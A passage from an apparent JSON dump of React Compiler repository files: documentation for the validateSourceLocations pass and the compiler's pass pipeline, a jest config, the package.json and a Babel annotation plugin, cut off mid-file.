    "content": "# validateSourceLocations\n\n## File\n`src/Validation/ValidateSourceLocations.ts`\n\n## Purpose\n**IMPORTANT: This validation is intended for unit tests only, not production use.**\n\nValidates that important source locations from the original code are preserved in the generated AST. This ensures that code coverage instrumentation tools (like Istanbul) can properly map back to the original source code for accurate coverage reports.\n\n## Input Invariants\n- Operates on the original Babel AST (`NodePath<FunctionDeclaration | ArrowFunctionExpression | FunctionExpression>`)\n- Operates on the generated CodegenFunction output\n- Must run after code generation\n\n## Validation Rules\nThe pass checks that \"important\" source locations (as defined by Istanbul's instrumentation requirements) are preserved in the generated output.\n\n### Two types of errors:\n\n1. **Missing location:**\n```\nImportant source location missing in generated code. Source location for [NodeType]\nis missing in the generated output. This can cause coverage instrumentation to fail\nto track this code properly, resulting in inaccurate coverage reports.\n```\n\n2. **Wrong node type:**\n```\nImportant source location has wrong node type in generated code. Source location for\n[ExpectedType] exists in the generated output but with wrong node type(s): [ActualTypes].\nThis can cause coverage instrumentation to fail to track this code properly.\n```\n\n### Important Node Types\nThe following node types are considered important for coverage tracking:\n```typescript\nconst IMPORTANT_INSTRUMENTED_TYPES = new Set([\n  'ArrowFunctionExpression',\n  'AssignmentPattern',\n  'ObjectMethod',\n  'ExpressionStatement',\n  'BreakStatement',\n  'ContinueStatement',\n  'ReturnStatement',\n  'ThrowStatement',\n  'TryStatement',\n  'VariableDeclarator',\n  'IfStatement',\n  'ForStatement',\n  'ForInStatement',\n  'ForOfStatement',\n  'WhileStatement',\n  'DoWhileStatement',\n  'SwitchStatement',\n  'SwitchCase',\n  'WithStatement',\n  'FunctionDeclaration',\n  'FunctionExpression',\n  'LabeledStatement',\n  'ConditionalExpression',\n  'LogicalExpression',\n  'VariableDeclaration',\n  'Identifier',\n]);\n```\n\n### Strict Node Types\nFor these types, both the location AND node type must match:\n- `VariableDeclaration`\n- `VariableDeclarator`\n- `Identifier`\n\n## Algorithm\n\n### Step 1: Collect Important Original Locations\nTraverse the original AST and collect locations from nodes whose types are in `IMPORTANT_INSTRUMENTED_TYPES`:\n- Skip nodes that are manual memoization calls (`useMemo`/`useCallback`) since the compiler intentionally removes these\n- Build a map from location key to `{loc, nodeTypes}`\n\n### Step 2: Collect Generated Locations\nRecursively traverse the generated AST (main function body + outlined functions) and collect all locations with their node types.\n\n### Step 3: Validate Preservation\nFor each important original location:\n- If the location is completely missing in generated output, report an error\n- For strict node types, verify the specific node type is present\n- Handle cases where a generated location has a different node type\n\n### Location Key Format\nLocations are compared using a string key:\n```typescript\nfunction locationKey(loc: SourceLocation): string {\n  return `${loc.start.line}:${loc.start.column}-${loc.end.line}:${loc.end.column}`;\n}\n```\n\n## Edge Cases\n\n### Manual Memoization Removal\nThe compiler intentionally removes `useMemo` and `useCallback` calls (replacing them with compiler-generated memoization). These are detected and exempted from validation:\n```typescript\nfunction isManualMemoization(node: Node): boolean {\n  // Checks for useMemo/useCallback or React.useMemo/React.useCallback\n}\n```\n\n### Outlined Functions\nThe validation also checks locations in outlined functions (functions extracted by the compiler for optimization purposes).\n\n### Multiple Node Types at Same Location\nMultiple node types can share the same location (e.g., a `VariableDeclarator` and its `Identifier` child). The pass tracks all node types for each location.\n\n## TODOs\nFrom the file documentation:\n> There's one big gotcha with this validation: it only works if the \"important\" original nodes are not optimized away by the compiler.\n>\n> When that scenario happens, we should just update the fixture to not include a node that has no corresponding node in the generated AST due to being completely removed during compilation.\n\n## Example\n\n### Fixture: `error.todo-missing-source-locations.js`\n\n**Input:**\n```javascript\n// @validateSourceLocations\nimport {useEffect, useCallback} from 'react';\n\nfunction Component({prop1, prop2}) {\n  const x = prop1 + prop2;\n  const y = x * 2;\n  const arr = [x, y];\n  const obj = {x, y};\n  let destA, destB;\n  if (y > 5) {\n    [destA, destB] = arr;\n  }\n\n  const [a, b] = arr;\n  const {x: c, y: d} = obj;\n  let sound;\n\n  if (y > 10) {\n    sound = 'woof';\n  } else {\n    sound = 'meow';\n  }\n\n  useEffect(() => {\n    if (a > 10) {\n      console.log(a);\n      console.log(sound);\n      console.log(destA, destB);\n    }\n  }, [a, sound, destA, destB]);\n\n  const foo = useCallback(() => {\n    return a + b;\n  }, [a, b]);\n\n  function bar() {\n    return (c + d) * 2;\n  }\n\n  console.log('Hello, world!');\n\n  return [y, foo, bar];\n}\n```\n\n**Error (partial):**\n```\nFound 25 errors:\n\nTodo: Important source location missing in generated code\nSource location for Identifier is missing in the generated output...\n\nerror.todo-missing-source-locations.ts:4:9\n> 4 | function Component({prop1, prop2}) {\n    |          ^^^^^^^^^\n\nTodo: Important source location missing in generated code\nSource location for VariableDeclaration is missing in the generated output...\n\nerror.todo-missing-source-locations.ts:9:2\n>  9 |   let destA, destB;\n     |   ^^^^^^^^^^^^^^^^^\n\nTodo: Important source location missing in generated code\nSource location for ExpressionStatement is missing in the generated output...\n\nerror.todo-missing-source-locations.ts:11:4\n> 11 |     [destA, destB] = arr;\n     |     ^^^^^^^^^^^^^^^^^^^^^\n```\n\n**Why it fails:** The compiler transforms the code significantly, and many original source locations are not preserved in the output. This causes coverage tools to lose track of which lines were executed.\n\n**Note:** This fixture is prefixed with `error.todo-` indicating this is a known limitation that needs to be addressed.\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/README.md",
    "content": "# React Compiler Passes Documentation\n\nThis directory contains detailed documentation for each pass in the React Compiler pipeline. The compiler transforms React components and hooks to add automatic memoization.\n\n## High-Level Architecture\n\n```\n                    ┌─────────────────────────────────────────────────────────────┐\n                    │                     COMPILATION PIPELINE                      │\n                    └─────────────────────────────────────────────────────────────┘\n                                              │\n                                              ▼\n┌─────────────────────────────────────────────────────────────────────────────────────┐\n│  PHASE 1: HIR CONSTRUCTION                                                          │\n│  ┌─────────┐                                                                        │\n│  │  Babel  │──▶ lower ──▶ enterSSA ──▶ eliminateRedundantPhi                        │\n│  │   AST   │              │                                                         │\n│  └─────────┘              ▼                                                         │\n│                     ┌──────────┐                                                    │\n│                     │   HIR    │  (Control Flow Graph in SSA Form)                  │\n│                     └──────────┘                                                    │\n└─────────────────────────────────────────────────────────────────────────────────────┘\n                                              │\n                                              ▼\n┌─────────────────────────────────────────────────────────────────────────────────────┐\n│  PHASE 2: OPTIMIZATION                                                              │\n│                                                                                     │\n│  constantPropagation ──▶ deadCodeElimination                                         │\n│                                                                                     │\n└─────────────────────────────────────────────────────────────────────────────────────┘\n                                              │\n                                              ▼\n┌─────────────────────────────────────────────────────────────────────────────────────┐\n│  PHASE 3: TYPE & EFFECT INFERENCE                                                   │\n│                                                                                     │\n│  inferTypes ──▶ analyseFunctions ──▶ inferMutationAliasingEffects                   │\n│                                              │                                      │\n│                                              ▼                                      │\n│                         inferMutationAliasingRanges ──▶ inferReactivePlaces         │\n│                                                                                     │\n└─────────────────────────────────────────────────────────────────────────────────────┘\n                                              │\n                                              ▼\n┌─────────────────────────────────────────────────────────────────────────────────────┐\n│  PHASE 4: REACTIVE SCOPE CONSTRUCTION                                               │\n│                                                                                     │\n│  inferReactiveScopeVariables ──▶ alignMethodCallScopes ──▶ alignObjectMethodScopes  │\n│              │                                                                      │\n│              ▼                                                                      │\n│  alignReactiveScopesToBlockScopesHIR ──▶ mergeOverlappingReactiveScopesHIR          │\n│              │                                                                      │\n│              ▼                                                                      │\n│  buildReactiveScopeTerminalsHIR ──▶ flattenReactiveLoopsHIR                         │\n│              │                                                                      │\n│              ▼                                                                      │\n│  flattenScopesWithHooksOrUseHIR ──▶ propagateScopeDependenciesHIR                   │\n│                                                                                     │\n└─────────────────────────────────────────────────────────────────────────────────────┘\n                                              │\n                                              ▼\n┌─────────────────────────────────────────────────────────────────────────────────────┐\n│  PHASE 5: HIR → REACTIVE FUNCTION                                                   │\n│                                                                                     │\n│                           buildReactiveFunction                                     │\n│                                    │                                                │\n│                                    ▼                                                │\n│                         ┌───────────────────┐                                       │\n│                         │ ReactiveFunction  │  (Tree Structure)                     │\n│                         └───────────────────┘                                       │\n│                                                                                     │\n└─────────────────────────────────────────────────────────────────────────────────────┘\n                                              │\n                                              ▼\n┌─────────────────────────────────────────────────────────────────────────────────────┐\n│  PHASE 6: REACTIVE FUNCTION OPTIMIZATION                                            │\n│                                                                                     │\n│  pruneUnusedLabels ──▶ pruneNonEscapingScopes ──▶ pruneNonReactiveDependencies      │\n│              │                                                                      │\n│              ▼                                                                      │\n│  pruneUnusedScopes ──▶ mergeReactiveScopesThatInvalidateTogether                    │\n│              │                                                                      │\n│              ▼                                                                      │\n│  pruneAlwaysInvalidatingScopes ──▶ propagateEarlyReturns ──▶ promoteUsedTemporaries │\n│                                                                                     │\n└─────────────────────────────────────────────────────────────────────────────────────┘\n                                              │\n                                              ▼\n┌─────────────────────────────────────────────────────────────────────────────────────┐\n│  PHASE 7: CODE GENERATION                                                           │\n│                                                                                     │\n│  renameVariables ──▶ codegenReactiveFunction                                        │\n│                              │                                                      │\n│                              ▼                                                      │\n│                      ┌─────────────┐                                                │\n│                      │  Babel AST  │  (With Memoization)                            │\n│                      └─────────────┘                                                │\n│                                                                                     │\n└─────────────────────────────────────────────────────────────────────────────────────┘\n```\n\n## Pass Categories\n\n### HIR Construction & SSA (1-3)\n\n| # | Pass | File | Description |\n|---|------|------|-------------|\n| 1 | [lower](01-lower.md) | `HIR/BuildHIR.ts` | Convert Babel AST to HIR control-flow graph |\n| 2 | [enterSSA](02-enterSSA.md) | `SSA/EnterSSA.ts` | Convert to Static Single Assignment form |\n| 3 | [eliminateRedundantPhi](03-eliminateRedundantPhi.md) | `SSA/EliminateRedundantPhi.ts` | Remove unnecessary phi nodes |\n\n### Optimization (4-5)\n\n| # | Pass | File | Description |\n|---|------|------|-------------|\n| 4 | [constantPropagation](04-constantPropagation.md) | `Optimization/ConstantPropagation.ts` | Sparse conditional constant propagation |\n| 5 | [deadCodeElimination](05-deadCodeElimination.md) | `Optimization/DeadCodeElimination.ts` | Remove unreferenced instructions |\n\n### Type Inference (6)\n\n| # | Pass | File | Description |\n|---|------|------|-------------|\n| 6 | [inferTypes](06-inferTypes.md) | `TypeInference/InferTypes.ts` | Constraint-based type unification |\n\n### Mutation/Aliasing Inference (7-10)\n\n| # | Pass | File | Description |\n|---|------|------|-------------|\n| 7 | [analyseFunctions](07-analyseFunctions.md) | `Inference/AnalyseFunctions.ts` | Analyze nested function effects |\n| 8 | [inferMutationAliasingEffects](08-inferMutationAliasingEffects.md) | `Inference/InferMutationAliasingEffects.ts` | Infer mutation/aliasing via abstract interpretation |\n| 9 | [inferMutationAliasingRanges](09-inferMutationAliasingRanges.md) | `Inference/InferMutationAliasingRanges.ts` | Compute mutable ranges from effects |\n| 10 | [inferReactivePlaces](10-inferReactivePlaces.md) | `Inference/InferReactivePlaces.ts` | Mark reactive places (props, hooks, derived) |\n\n### Reactive Scope Variables (11-12)\n\n| # | Pass | File | Description |\n|---|------|------|-------------|\n| 11 | [inferReactiveScopeVariables](11-inferReactiveScopeVariables.md) | `ReactiveScopes/InferReactiveScopeVariables.ts` | Group co-mutating variables into scopes |\n| 12 | [rewriteInstructionKindsBasedOnReassignment](12-rewriteInstructionKindsBasedOnReassignment.md) | `SSA/RewriteInstructionKindsBasedOnReassignment.ts` | Convert SSA loads to context loads for reassigned vars |\n\n### Scope Alignment (13-15)\n\n| # | Pass | File | Description |\n|---|------|------|-------------|\n| 13 | [alignMethodCallScopes](13-alignMethodCallScopes.md) | `ReactiveScopes/AlignMethodCallScopes.ts` | Align method call scopes with receivers |\n| 14 | [alignObjectMethodScopes](14-alignObjectMethodScopes.md) | `ReactiveScopes/AlignObjectMethodScopes.ts` | Align object method scopes |\n| 15 | [alignReactiveScopesToBlockScopesHIR](15-alignReactiveScopesToBlockScopesHIR.md) | `ReactiveScopes/AlignReactiveScopesToBlockScopesHIR.ts` | Align to control-flow block boundaries |\n\n### Scope Construction (16-18)\n\n| # | Pass | File | Description |\n|---|------|------|-------------|\n| 16 | [mergeOverlappingReactiveScopesHIR](16-mergeOverlappingReactiveScopesHIR.md) | `HIR/MergeOverlappingReactiveScopesHIR.ts` | Merge overlapping scopes |\n| 17 | [buildReactiveScopeTerminalsHIR](17-buildReactiveScopeTerminalsHIR.md) | `HIR/BuildReactiveScopeTerminalsHIR.ts` | Insert scope terminals into CFG |\n| 18 | [flattenReactiveLoopsHIR](18-flattenReactiveLoopsHIR.md) | `ReactiveScopes/FlattenReactiveLoopsHIR.ts` | Prune scopes inside loops |\n\n### Scope Flattening & Dependencies (19-20)\n\n| # | Pass | File | Description |\n|---|------|------|-------------|\n| 19 | [flattenScopesWithHooksOrUseHIR](19-flattenScopesWithHooksOrUseHIR.md) | `ReactiveScopes/FlattenScopesWithHooksOrUseHIR.ts` | Prune scopes containing hooks |\n| 20 | [propagateScopeDependenciesHIR](20-propagateScopeDependenciesHIR.md) | `HIR/PropagateScopeDependenciesHIR.ts` | Derive minimal scope dependencies |\n\n### HIR → Reactive Conversion (21)\n\n| # | Pass | File | Description |\n|---|------|------|-------------|\n| 21 | [buildReactiveFunction](21-buildReactiveFunction.md) | `ReactiveScopes/BuildReactiveFunction.ts` | Convert CFG to tree structure |\n\n### Reactive Function Pruning (22-25)\n\n| # | Pass | File | Description |\n|---|------|------|-------------|\n| 22 | [pruneUnusedLabels](22-pruneUnusedLabels.md) | `ReactiveScopes/PruneUnusedLabels.ts` | Remove unused labels |\n| 23 | [pruneNonEscapingScopes](23-pruneNonEscapingScopes.md) | `ReactiveScopes/PruneNonEscapingScopes.ts` | Remove non-escaping scopes |\n| 24 | [pruneNonReactiveDependencies](24-pruneNonReactiveDependencies.md) | `ReactiveScopes/PruneNonReactiveDependencies.ts` | Remove non-reactive dependencies |\n| 25 | [pruneUnusedScopes](25-pruneUnusedScopes.md) | `ReactiveScopes/PruneUnusedScopes.ts` | Remove empty scopes |\n\n### Scope Optimization (26-28)\n\n| # | Pass | File | Description |\n|---|------|------|-------------|\n| 26 | [mergeReactiveScopesThatInvalidateTogether](26-mergeReactiveScopesThatInvalidateTogether.md) | `ReactiveScopes/MergeReactiveScopesThatInvalidateTogether.ts` | Merge co-invalidating scopes |\n| 27 | [pruneAlwaysInvalidatingScopes](27-pruneAlwaysInvalidatingScopes.md) | `ReactiveScopes/PruneAlwaysInvalidatingScopes.ts` | Prune always-invalidating scopes |\n| 28 | [propagateEarlyReturns](28-propagateEarlyReturns.md) | `ReactiveScopes/PropagateEarlyReturns.ts` | Handle early returns in scopes |\n\n### Codegen Preparation (29-31)\n\n| # | Pass | File | Description |\n|---|------|------|-------------|\n| 29 | [promoteUsedTemporaries](29-promoteUsedTemporaries.md) | `ReactiveScopes/PromoteUsedTemporaries.ts` | Promote temps to named vars |\n| 30 | [renameVariables](30-renameVariables.md) | `ReactiveScopes/RenameVariables.ts` | Ensure unique variable names |\n| 31 | [codegenReactiveFunction](31-codegenReactiveFunction.md) | `ReactiveScopes/CodegenReactiveFunction.ts` | Generate final Babel AST |\n\n### Transformations (32-38)\n\n| # | Pass | File | Description |\n|---|------|------|-------------|\n| 34 | [optimizePropsMethodCalls](34-optimizePropsMethodCalls.md) | `Optimization/OptimizePropsMethodCalls.ts` | Normalize props method calls |\n| 35 | [optimizeForSSR](35-optimizeForSSR.md) | `Optimization/OptimizeForSSR.ts` | SSR-specific optimizations |\n| 36 | [outlineJSX](36-outlineJSX.md) | `Optimization/OutlineJsx.ts` | Outline JSX to components |\n| 37 | [outlineFunctions](37-outlineFunctions.md) | `Optimization/OutlineFunctions.ts` | Outline pure functions |\n| 38 | [memoizeFbtAndMacroOperandsInSameScope](38-memoizeFbtAndMacroOperandsInSameScope.md) | `ReactiveScopes/MemoizeFbtAndMacroOperandsInSameScope.ts` | Keep FBT operands together |\n\n### Validation (39-55)\n\n| # | Pass | File | Description |\n|---|------|------|-------------|\n| 39 | [validateContextVariableLValues](39-validateContextVariableLValues.md) | `Validation/ValidateContextVariableLValues.ts` | Variable reference consistency |\n| 40 | [validateUseMemo](40-validateUseMemo.md) | `Validation/ValidateUseMemo.ts` | useMemo callback requirements |\n| 41 | [validateHooksUsage](41-validateHooksUsage.md) | `Validation/ValidateHooksUsage.ts` | Rules of Hooks |\n| 42 | [validateNoCapitalizedCalls](42-validateNoCapitalizedCalls.md) | `Validation/ValidateNoCapitalizedCalls.ts` | Component vs function calls |\n| 43 | [validateLocalsNotReassignedAfterRender](43-validateLocalsNotReassignedAfterRender.md) | `Validation/ValidateLocalsNotReassignedAfterRender.ts` | Variable mutation safety |\n| 44 | [validateNoSetStateInRender](44-validateNoSetStateInRender.md) | `Validation/ValidateNoSetStateInRender.ts` | No setState during render |\n| 45 | [validateNoDerivedComputationsInEffects](45-validateNoDerivedComputationsInEffects.md) | `Validation/ValidateNoDerivedComputationsInEffects.ts` | Effect optimization hints |\n| 46 | [validateNoSetStateInEffects](46-validateNoSetStateInEffects.md) | `Validation/ValidateNoSetStateInEffects.ts` | Effect performance |\n| 47 | [validateNoJSXInTryStatement](47-validateNoJSXInTryStatement.md) | `Validation/ValidateNoJSXInTryStatement.ts` | Error boundary usage |\n| 48 | [validateNoImpureValuesInRender](48-validateNoImpureValuesInRender.md) | `Validation/ValidateNoImpureValuesInRender.ts` | Impure value isolation |\n| 49 | [validateNoRefAccessInRender](49-validateNoRefAccessInRender.md) | `Validation/ValidateNoRefAccessInRender.ts` | Ref access constraints |\n| 50 | [validateNoFreezingKnownMutableFunctions](50-validateNoFreezingKnownMutableFunctions.md) | `Validation/ValidateNoFreezingKnownMutableFunctions.ts` | Mutable function isolation |\n| 51 | [validateExhaustiveDependencies](51-validateExhaustiveDependencies.md) | `Validation/ValidateExhaustiveDependencies.ts` | Dependency array completeness |\n| 53 | [validatePreservedManualMemoization](53-validatePreservedManualMemoization.md) | `Validation/ValidatePreservedManualMemoization.ts` | Manual memo preservation |\n| 54 | [validateStaticComponents](54-validateStaticComponents.md) | `Validation/ValidateStaticComponents.ts` | Component identity stability |\n| 55 | [validateSourceLocations](55-validateSourceLocations.md) | `Validation/ValidateSourceLocations.ts` | Source location preservation |\n\n## Key Data Structures\n\n### HIR (High-level Intermediate Representation)\n\nThe compiler converts source code to HIR for analysis. Key types:\n\n- **HIRFunction**: A function being compiled\n  - `body.blocks`: Map of BasicBlocks (control flow graph)\n  - `context`: Captured variables from outer scope\n  - `params`: Function parameters\n  - `returns`: The function's return place\n\n- **BasicBlock**: A sequence of instructions with a terminal\n  - `instructions`: Array of Instructions\n  - `terminal`: Control flow (return, branch, etc.)\n  - `phis`: Phi nodes for SSA\n\n- **Instruction**: A single operation\n  - `lvalue`: The place being assigned to\n  - `value`: The instruction kind (CallExpression, FunctionExpression, etc.)\n  - `effects`: Array of AliasingEffects\n\n- **Place**: A reference to a value\n  - `identifier.id`: Unique IdentifierId\n  - `effect`: How the place is used (read, mutate, etc.)\n\n### ReactiveFunction\n\nAfter HIR is analyzed, it's converted to ReactiveFunction:\n\n- Tree structure instead of CFG\n- Contains ReactiveScopes that define memoization boundaries\n- Each scope has dependencies and declarations\n\n### AliasingEffects\n\nEffects describe data flow and operations:\n\n- **Capture/Alias**: Value relationships\n- **Mutate/MutateTransitive**: Mutation tracking\n- **Freeze**: Immutability marking\n- **Render**: JSX usage context\n- **Create/CreateFunction**: Value creation\n\n## Feature Flags\n\nMany passes are controlled by feature flags in `Environment.ts`:\n\n| Flag | Enables Pass |\n|------|--------------|\n| `enableJsxOutlining` | outlineJSX |\n| `enableFunctionOutlining` | outlineFunctions |\n| `validateNoSetStateInRender` | validateNoSetStateInRender |\n| `enableUseMemoCacheInterop` | Preserves manual memoization |\n\n## Running Tests\n\n```bash\n# Run all tests\nyarn snap\n\n# Run specific fixture\nyarn snap -p <fixture-name>\n\n# Run with debug output (shows all passes)\nyarn snap -p <fixture-name> -d\n\n# Compile any file (not just fixtures) and see output\nyarn snap compile <path>\n\n# Compile any file with debug output (alternative to yarn snap -d -p when you don't have a fixture)\nyarn snap compile --debug <path>\n\n# Minimize a failing test case to its minimal reproduction\nyarn snap minimize <path>\n\n# Update expected outputs\nyarn snap -u\n```\n\n## Fault Tolerance\n\nThe pipeline is fault-tolerant: all passes run to completion, accumulating errors on `Environment` rather than aborting on the first error.\n\n- **Validation passes** are wrapped in `env.tryRecord()` in Pipeline.ts, which catches non-invariant `CompilerError`s and records them. If a validation pass throws, compilation continues.\n- **Infrastructure/transformation passes** (enterSSA, eliminateRedundantPhi, inferMutationAliasingEffects, codegen, etc.) are NOT wrapped in `tryRecord()` because subsequent passes depend on their output being structurally valid. If they fail, compilation aborts.\n- **`lower()` (BuildHIR)** always produces an `HIRFunction`, recording errors on `env` instead of returning `Err`. Unsupported constructs (e.g., `var`) are lowered best-effort.\n- At the end of the pipeline, `env.hasErrors()` determines whether to return `Ok(codegen)` or `Err(aggregatedErrors)`.\n\n## Further Reading\n\n- [MUTABILITY_ALIASING_MODEL.md](../../src/Inference/MUTABILITY_ALIASING_MODEL.md): Detailed aliasing model docs\n- [Pipeline.ts](../../src/Entrypoint/Pipeline.ts): Pass ordering and orchestration\n- [HIR.ts](../../src/HIR/HIR.ts): Core data structure definitions\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/jest.config.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n/** @type {import('jest').Config} */\nconst config = {\n  projects: ['<rootDir>/scripts/jest/*.config.js'],\n};\n\nmodule.exports = config;\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/package.json",
    "content": "{\n  \"name\": \"babel-plugin-react-compiler\",\n  \"version\": \"0.0.0-experimental-334f00b-20240725\",\n  \"description\": \"Babel plugin for React Compiler.\",\n  \"main\": \"dist/index.js\",\n  \"license\": \"MIT\",\n  \"files\": [\n    \"dist\",\n    \"!*.tsbuildinfo\"\n  ],\n  \"scripts\": {\n    \"build\": \"rimraf dist && tsup\",\n    \"test\": \"./scripts/link-react-compiler-runtime.sh && yarn snap:ci\",\n    \"jest\": \"yarn build && ts-node node_modules/.bin/jest\",\n    \"snap\": \"yarn workspace snap run snap\",\n    \"snap:build\": \"yarn workspace snap run build\",\n    \"snap:ci\": \"yarn snap:build && yarn snap\",\n    \"ts:analyze-trace\": \"scripts/ts-analyze-trace.sh\",\n    \"lint\": \"yarn eslint src\",\n    \"watch\": \"yarn build --dts --watch\"\n  },\n  \"dependencies\": {\n    \"@babel/types\": \"^7.26.0\"\n  },\n  \"devDependencies\": {\n    \"@babel/core\": \"^7.2.0\",\n    \"@babel/generator\": \"7.2.0\",\n    \"@babel/parser\": \"^7.2.0\",\n    \"@babel/plugin-syntax-typescript\": \"^7.18.6\",\n    \"@babel/plugin-transform-block-scoping\": \"^7.18.9\",\n    \"@babel/plugin-transform-modules-commonjs\": \"^7.18.6\",\n    \"@babel/preset-react\": \"^7.18.6\",\n    \"@babel/preset-typescript\": \"^7.18.6\",\n    \"@babel/traverse\": \"^7.2.0\",\n    \"@testing-library/react\": \"^13.4.0\",\n    \"@tsconfig/node18-strictest\": \"^1.0.0\",\n    \"@types/glob\": \"^8.1.0\",\n    \"@types/invariant\": \"^2.2.35\",\n    \"@types/jest\": \"^29.0.3\",\n    \"@types/node\": \"^18.7.18\",\n    \"@typescript-eslint/eslint-plugin\": \"^8.7.0\",\n    \"@typescript-eslint/parser\": \"^8.7.0\",\n    \"babel-jest\": \"^29.0.3\",\n    \"babel-plugin-fbt\": \"^1.0.0\",\n    \"babel-plugin-fbt-runtime\": \"^1.0.0\",\n    \"eslint\": \"^8.57.1\",\n    \"invariant\": \"^2.2.4\",\n    \"jest\": \"^29.0.3\",\n    \"jest-environment-jsdom\": \"^29.0.3\",\n    \"pretty-format\": \"^24\",\n    \"react\": \"0.0.0-experimental-4beb1fd8-20241118\",\n    \"react-dom\": \"0.0.0-experimental-4beb1fd8-20241118\",\n    \"ts-jest\": \"^29.1.1\",\n    \"ts-node\": \"^10.9.2\",\n    \"zod\": \"^3.25.0 || ^4.0.0\",\n    \"zod-validation-error\": \"^3.5.0 || ^4.0.0\"\n  },\n  \"resolutions\": {\n    \"./**/@babel/parser\": \"7.7.4\",\n    \"./**/@babel/plugin-syntax-flow\": \"7.7.4\",\n    \"./**/@babel/types\": \"7.7.4\",\n    \"@babel/core\": \"7.2.0\",\n    \"@babel/generator\": \"7.2.0\",\n    \"@babel/traverse\": \"7.7.4\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/facebook/react.git\",\n    \"directory\": \"compiler/packages/babel-plugin-react-compiler\"\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/scripts/babel-plugin-annotate-react-code.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport type * as BabelCore from '@babel/core';\nimport {NodePath} from '@babel/core';\nimport * as t from '@babel/types';\n\nexport default function AnnotateReactCodeBabelPlugin(\n  _babel: typeof BabelCore,\n): BabelCore.PluginObj {\n  return {\n    name: 'annotate-react-code',\n    visitor: {\n      Program(prog): void {\n        annotate(prog);\n      },\n    },\n  };\n}\n\nfunction annotate(program: NodePath<t.Program>): void {\n  function traverseFn(fn: BabelFn): void {\n    if (!shouldVisit(fn)) {\n      return;\n    }\n\n    fn.skip();\n\n    const body = fn.node.body;\n    if (t.isBlockStatement(body)) {\n      body.body.unshift(buildTypeOfReactForget());\n    }\n  }\n\n  program.traverse({\n    FunctionDeclaration: traverseFn,\n    FunctionExpression: traverseFn,\n    ArrowFunctionExpression: traverseFn,\n  });\n}\n\nfunction shouldVisit(fn: BabelFn): boolean {\n  return (\n    // Component declarations are known components\n    (fn.isFunctionDeclaration() && isComponentDeclaration(fn.node)) ||\n    // Otherwise check if this is a component or hook-like function\n    isComponentOrHookLike(fn)\n  );\n}\n\nfunction buildTypeOfReactForget(): t.Statement {\n  // typeof globalThis[Symbol.for(\"react_forget\")]\n  return t.expressionStatement(\n    t.unaryExpression(\n      'typeof',\n      t.memberExpression(\n        t.identifier('globalThis'),\n        t.callExpression(\n          t.memberExpression(\n            t.identifier('Symbol'),\n            t.identifier('for'),\n            false,\n            false,\n          ),\n          [t.stringLiteral('react_forget')],\n        ),\n        true,\n        false,\n      ),\n      true,\n    ),\n  );\n}\n\n/**\n * COPIED FROM babel-plugin-react-compiler/src/Entrypoint/BabelUtils.ts\n */\ntype ComponentDeclaration = t.FunctionDeclaration & {\n  __componentDeclaration: boolean;\n};\n\ntype BabelFn =\n  | NodePath<t.FunctionDeclaration>\n  | NodePath<t.FunctionExpression>\n  | NodePath<t.ArrowFunctionExpression>;\n\nexport function isComponentDeclaration(\n  node: t.FunctionDeclaration,\n): node is ComponentDeclaration {\n  return Object.prototype.hasOwnProperty.call(node, '__componentDeclaration');\n}\n\n/*\n * Adapted from the ESLint rule at\n * https://github.com/facebook/react/blob/main/packages/eslint-plugin-react-hooks/src/RulesOfHooks.js#L90-L103\n */\nfunction isComponentOrHookLike(\n  node: NodePath<\n    t.FunctionDeclaration | t.ArrowFunctionExpression | t.FunctionExpression\n  >,\n): boolean {\n  const functionName = getFunctionName(node);\n  // Check if the name is component or hook like:\n  if (functionName !== null && isComponentName(functionName)) {\n    return (\n      // As an added check we also look for hook invocations or JSX\n      callsHooksOrCreatesJsx(node) &&\n      /*\n       * and avoid helper functions that take more than one argument\n       * helpers are _usually_ named with lowercase, but some code may\n       * violate this rule\n       */\n      node.get('params').length <= 1\n    );\n  } else if (functionName !== null && isHook(functionName)) {\n    // Hooks have hook invocations or JSX, but can take any # of arguments\n    return callsHooksOrCreatesJsx(node);\n  }\n\n  /*\n   * Otherwise for function or arrow function expressions, check if they\n   * appear as the argument to React.forwardRef() or React.memo():\n   */\n  if (node.isFunctionExpression() || node.isArrowFunctionExpression()) {\n    if (isForwardRefCallback(node) || isMemoCallback(node)) {\n      // As an added check we also look for hook invocations or JSX\n      return callsHooksOrCreatesJsx(node);\n    } else {\n      return false;\n    }\n  }\n  return false;\n}\n\nfunction isHookName(s: string): boolean {\n  return /^use[A-Z0-9]/.test(s);\n}\n\n/*\n * We consider hooks to be a hook name identifier or a member expression\n * containing a hook name.\n */\n\nfunction isHook(path: NodePath<t.Expression | t.PrivateName>): boolean {\n  if (path.isIdentifier()) {\n    return isHookName(path.node.name);\n  } else if (\n    path.isMemberExpression() &&\n    !path.node.computed &&\n    isHook(path.get('property'))\n  ) {\n    const obj = path.get('object').node;\n    const isPascalCaseNameSpace = /^[A-Z].*/;\n    return obj.type === 'Identifier' && isPascalCaseNameSpace.test(obj.name);\n  } else {\n    return false;\n  }\n}\n\n/*\n * Checks if the node is a React component name. React component names must\n * always start with an uppercase letter.\n */\n\nfunction isComponentName(path: NodePath<t.Expression>): boolean {\n  return path.isIdentifier() && /^[A-Z]/.test(path.node.name);\n}\n/*\n * Checks if the node is a callback argument of forwardRef. This render function\n * should follow the rules of hooks.\n */\n\nfunction isForwardRefCallback(path: NodePath<t.Expression>): boolean {\n  return !!(\n    path.parentPath.isCallExpression() &&\n    path.parentPath.get('callee').isExpression() &&\n    isReactAPI(path.parentPath.get('callee'), 'forwardRef')\n  );\n}\n\n/*\n * Checks if the node is a callback argument of React.memo. This anonymous\n * functional component should follow the rules of hooks.\n */\n\nfunction isMemoCallback(path: NodePath<t.Expression>): boolean {\n  return (\n    path.parentPath.isCallExpression() &&\n    path.parentPath.get('callee').isExpression() &&\n    isReactAPI(path.parentPath.get('callee'), 'memo')\n  );\n}\n\nfunction isReactAPI(\n  path: NodePath<t.Expression | t.PrivateName | t.V8IntrinsicIdentifier>,\n  functionName: string,\n): boolean {\n  const node = 